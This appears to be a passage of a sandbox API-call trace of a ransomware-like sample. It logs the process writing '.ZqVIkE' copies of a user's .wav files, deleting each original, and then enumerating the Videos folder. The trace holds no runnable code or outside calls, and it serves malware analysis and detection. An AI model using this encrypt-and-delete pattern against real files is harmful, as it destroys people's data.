GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav", lpFilePart=0x0) returned 0x2b [0091.269] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav" (normalized: "c:\\users\\fd1hvy\\music\\tm6ev_jyrfbhoxted.wav")) returned 1 [0091.274] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav.ZqVIkE", lpFilePart=0x0) returned 0x39 [0091.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0091.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\7ycgsey0t7nxcp67gz.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0091.275] GetFileType (hFile=0x378) returned 0x1 [0091.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0091.275] GetFileType (hFile=0x378) returned 0x1 [0092.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav", lpFilePart=0x0) returned 0x32 [0092.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0092.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\7ycgsey0t7nxcp67gz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0092.113] GetFileType (hFile=0x2ec) returned 0x1 [0092.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0092.113] GetFileType (hFile=0x2ec) returned 0x1 [0092.115] ReadFile (in: hFile=0x2ec, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x18dce, lpOverlapped=0x0) returned 1 [0092.129] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0092.129] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0092.134] WriteFile (in: hFile=0x378, lpBuffer=0x25bca28*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x25bca28*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0092.135] WriteFile (in: hFile=0x378, lpBuffer=0x125a2948*, nNumberOfBytesToWrite=0x17de0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x125a2948*, lpNumberOfBytesWritten=0x71ee88*=0x17de0, lpOverlapped=0x0) returned 1 [0092.142] ReadFile (in: hFile=0x2ec, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0092.143] CloseHandle (hObject=0x2ec) returned 1 [0092.143] WriteFile (in: hFile=0x378, lpBuffer=0x25bca28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x25bca28*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0092.143] CloseHandle (hObject=0x378) returned 1 [0092.146] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav", lpFilePart=0x0) returned 0x32 [0092.146] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\7ycGseY0T7Nxcp67gz.wav" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\7ycgsey0t7nxcp67gz.wav")) returned 1 [0092.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav.ZqVIkE", lpFilePart=0x0) returned 0x3b [0092.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0092.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\hvdwl77-1kjmlt7caqtc.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0092.152] GetFileType (hFile=0x378) returned 0x1 [0092.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0092.152] GetFileType (hFile=0x378) returned 0x1 [0092.786] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav", lpFilePart=0x0) returned 0x34 [0092.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0092.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\hvdwl77-1kjmlt7caqtc.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0092.786] GetFileType (hFile=0x2ec) returned 0x1 [0092.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0092.786] GetFileType (hFile=0x2ec) returned 0x1 [0092.786] ReadFile (in: hFile=0x2ec, lpBuffer=0x125ba760, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125ba760*, lpNumberOfBytesRead=0x71ee98*=0x10c39, lpOverlapped=0x0) returned 1 [0092.787] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0092.787] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0092.792] WriteFile (in: hFile=0x378, lpBuffer=0x26a2c10*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x26a2c10*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0092.794] WriteFile (in: hFile=0x378, lpBuffer=0x26a56a0*, nNumberOfBytesToWrite=0xfc50, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x26a56a0*, lpNumberOfBytesWritten=0x71ee88*=0xfc50, lpOverlapped=0x0) returned 1 [0092.795] ReadFile (in: hFile=0x2ec, lpBuffer=0x125ba760, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125ba760*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0092.795] CloseHandle (hObject=0x2ec) returned 1 [0092.796] WriteFile (in: hFile=0x378, lpBuffer=0x26a2c10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x26a2c10*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0092.796] CloseHandle (hObject=0x378) returned 1 [0092.798] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav", lpFilePart=0x0) returned 0x34 [0092.798] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\hVdWL77-1kjmLt7caqTC.wav" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\hvdwl77-1kjmlt7caqtc.wav")) returned 1 [0092.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav.ZqVIkE", lpFilePart=0x0) returned 0x2b [0092.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0092.805] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\lqqu.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0092.805] GetFileType (hFile=0x378) returned 0x1 [0092.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0092.805] GetFileType (hFile=0x378) returned 0x1 [0093.661] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav", lpFilePart=0x0) returned 0x24 [0093.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0093.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\lqqu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0093.662] GetFileType (hFile=0x2ec) returned 0x1 [0093.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0093.662] GetFileType (hFile=0x2ec) returned 0x1 [0093.663] ReadFile (in: hFile=0x2ec, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x13c8, lpOverlapped=0x0) returned 1 [0093.671] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0093.672] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0093.672] WriteFile (in: hFile=0x378, lpBuffer=0x279af28*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x279af28*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0093.673] ReadFile (in: hFile=0x2ec, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0093.673] CloseHandle (hObject=0x2ec) returned 1 [0093.673] WriteFile (in: hFile=0x378, lpBuffer=0x279af28*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x279af28*, lpNumberOfBytesWritten=0x71ed58*=0x3f0, lpOverlapped=0x0) returned 1 [0093.673] CloseHandle (hObject=0x378) returned 1 [0093.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav", lpFilePart=0x0) returned 0x24 [0093.674] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\lqqu.wav" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\lqqu.wav")) returned 1 [0093.680] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav.ZqVIkE", lpFilePart=0x0) returned 0x39 [0093.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0093.681] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\wnqzgcgldeekkyczx4.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0093.681] GetFileType (hFile=0x378) returned 0x1 [0093.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0093.681] GetFileType (hFile=0x378) returned 0x1 [0094.423] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav", lpFilePart=0x0) returned 0x32 [0094.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0094.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\wnqzgcgldeekkyczx4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0094.424] GetFileType (hFile=0x2ec) returned 0x1 [0094.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0094.424] GetFileType (hFile=0x2ec) returned 0x1 [0094.425] ReadFile (in: hFile=0x2ec, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x1490f, lpOverlapped=0x0) returned 1 [0094.434] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0094.434] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0094.436] WriteFile (in: hFile=0x378, lpBuffer=0x2683ab8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2683ab8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0094.437] WriteFile (in: hFile=0x378, lpBuffer=0x2686538*, nNumberOfBytesToWrite=0x13920, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2686538*, lpNumberOfBytesWritten=0x71ee88*=0x13920, lpOverlapped=0x0) returned 1 [0094.438] ReadFile (in: hFile=0x2ec, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0094.438] CloseHandle (hObject=0x2ec) returned 1 [0094.438] WriteFile (in: hFile=0x378, lpBuffer=0x2683ab8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2683ab8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0094.438] CloseHandle (hObject=0x378) returned 1 [0094.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav", lpFilePart=0x0) returned 0x32 [0094.440] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\WNqzGcGlDEEkkyCzX4.wav" (normalized: "c:\\users\\fd1hvy\\music\\fjizw\\wnqzgcgldeekkyczx4.wav")) returned 1 [0094.444] CoTaskMemAlloc (cb=0x20c) returned 0x1ae55960 [0094.444] SHGetFolderPathW (in: hwnd=0x0, csidl=14, hToken=0x0, dwFlags=0x0, pszPath=0x1ae55960 | out: pszPath="C:\\Users\\FD1HVy\\Videos") returned 0x0 [0094.444] CoTaskMemFree (pv=0x1ae55960) [0094.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos", nBufferLength=0x105, lpBuffer=0x71e8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos", lpFilePart=0x0) returned 0x16 [0094.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71eed0) returned 1 [0094.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos", nBufferLength=0x105, lpBuffer=0x71e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos", lpFilePart=0x0) returned 0x16 [0094.445] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*.*", lpFindFileData=0x71ebf0 | out: lpFindFileData=0x71ebf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf8facab, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf8facab, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50310 [0094.445] FindClose (in: hFindFile=0x1ae50310 | out: hFindFile=0x1ae50310) returned 1 [0094.445] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf8facab, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf8facab, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae503d0 [0094.445] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf8facab, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf8facab, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.445] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1377050, ftCreationTime.dwHighDateTime=0x1d62e22, ftLastAccessTime.dwLowDateTime=0x703a23e0, ftLastAccessTime.dwHighDateTime=0x1d62c07, ftLastWriteTime.dwLowDateTime=0x703a23e0, ftLastWriteTime.dwHighDateTime=0x1d62c07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Jqm-00YiTmh_-Te_tC", cAlternateFileName="0JQM-0~1")) returned 1 [0094.445] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4537fd0, ftCreationTime.dwHighDateTime=0x1d626b4, ftLastAccessTime.dwLowDateTime=0x564d5cf0, ftLastAccessTime.dwHighDateTime=0x1d631c4, ftLastWriteTime.dwLowDateTime=0x564d5cf0, ftLastWriteTime.dwHighDateTime=0x1d631c4, nFileSizeHigh=0x0, nFileSizeLow=0x13a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="3-TgLm.swf", cAlternateFileName="")) returned 1 [0094.445] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0094.445] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee053cb0, ftCreationTime.dwHighDateTime=0x1d623e2, ftLastAccessTime.dwLowDateTime=0x501c7620, ftLastAccessTime.dwHighDateTime=0x1d631c1, ftLastWriteTime.dwLowDateTime=0x501c7620, ftLastWriteTime.dwHighDateTime=0x1d631c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QLE-SQXqAh", cAlternateFileName="QLE-SQ~1")) returned 1 [0094.445] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d6d910, ftCreationTime.dwHighDateTime=0x1d6297b, ftLastAccessTime.dwLowDateTime=0xda71bd20, ftLastAccessTime.dwHighDateTime=0x1d62a47, ftLastWriteTime.dwLowDateTime=0xda71bd20, ftLastWriteTime.dwHighDateTime=0x1d62a47, nFileSizeHigh=0x0, nFileSizeLow=0x4072, dwReserved0=0x0, dwReserved1=0x0, cFileName="r0S7Wsd1.flv", cAlternateFileName="")) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20b7da80, ftCreationTime.dwHighDateTime=0x1d62782, ftLastAccessTime.dwLowDateTime=0x82ee6bd0, ftLastAccessTime.dwHighDateTime=0x1d622d5, ftLastWriteTime.dwLowDateTime=0x82ee6bd0, ftLastWriteTime.dwHighDateTime=0x1d622d5, nFileSizeHigh=0x0, nFileSizeLow=0x1395d, dwReserved0=0x0, dwReserved1=0x0, cFileName="t96vy4RUntVEoU.mkv", cAlternateFileName="T96VY4~1.MKV")) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa0d3c0, ftCreationTime.dwHighDateTime=0x1d62e0d, ftLastAccessTime.dwLowDateTime=0xc9ab84c0, ftLastAccessTime.dwHighDateTime=0x1d62a11, ftLastWriteTime.dwLowDateTime=0xc9ab84c0, ftLastWriteTime.dwHighDateTime=0x1d62a11, nFileSizeHigh=0x0, nFileSizeLow=0x15e3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="wDuGvKtcXYgsUGUnKtY.flv", cAlternateFileName="WDUGVK~1.FLV")) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba9dc6a0, ftCreationTime.dwHighDateTime=0x1d627be, ftLastAccessTime.dwLowDateTime=0xf907ff80, ftLastAccessTime.dwHighDateTime=0x1d6281a, ftLastWriteTime.dwLowDateTime=0xf907ff80, ftLastWriteTime.dwHighDateTime=0x1d6281a, nFileSizeHigh=0x0, nFileSizeLow=0xc192, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y_gdwy.flv", cAlternateFileName="")) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848b1c0, ftCreationTime.dwHighDateTime=0x1d6250e, ftLastAccessTime.dwLowDateTime=0x7cca4d0, ftLastAccessTime.dwHighDateTime=0x1d628fc, ftLastWriteTime.dwLowDateTime=0x7cca4d0, ftLastWriteTime.dwHighDateTime=0x1d628fc, nFileSizeHigh=0x0, nFileSizeLow=0x14eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z6FsGy05_-ql36NbIA M.mp4", cAlternateFileName="Z6FSGY~1.MP4")) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848b1c0, ftCreationTime.dwHighDateTime=0x1d6250e, ftLastAccessTime.dwLowDateTime=0x7cca4d0, ftLastAccessTime.dwHighDateTime=0x1d628fc, ftLastWriteTime.dwLowDateTime=0x7cca4d0, ftLastWriteTime.dwHighDateTime=0x1d628fc, nFileSizeHigh=0x0, nFileSizeLow=0x14eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z6FsGy05_-ql36NbIA M.mp4", cAlternateFileName="Z6FSGY~1.MP4")) returned 0 [0094.446] FindClose (in: hFindFile=0x1ae503d0 | out: hFindFile=0x1ae503d0) returned 1 [0094.446] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf8facab, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf8facab, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50e50 [0094.446] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, 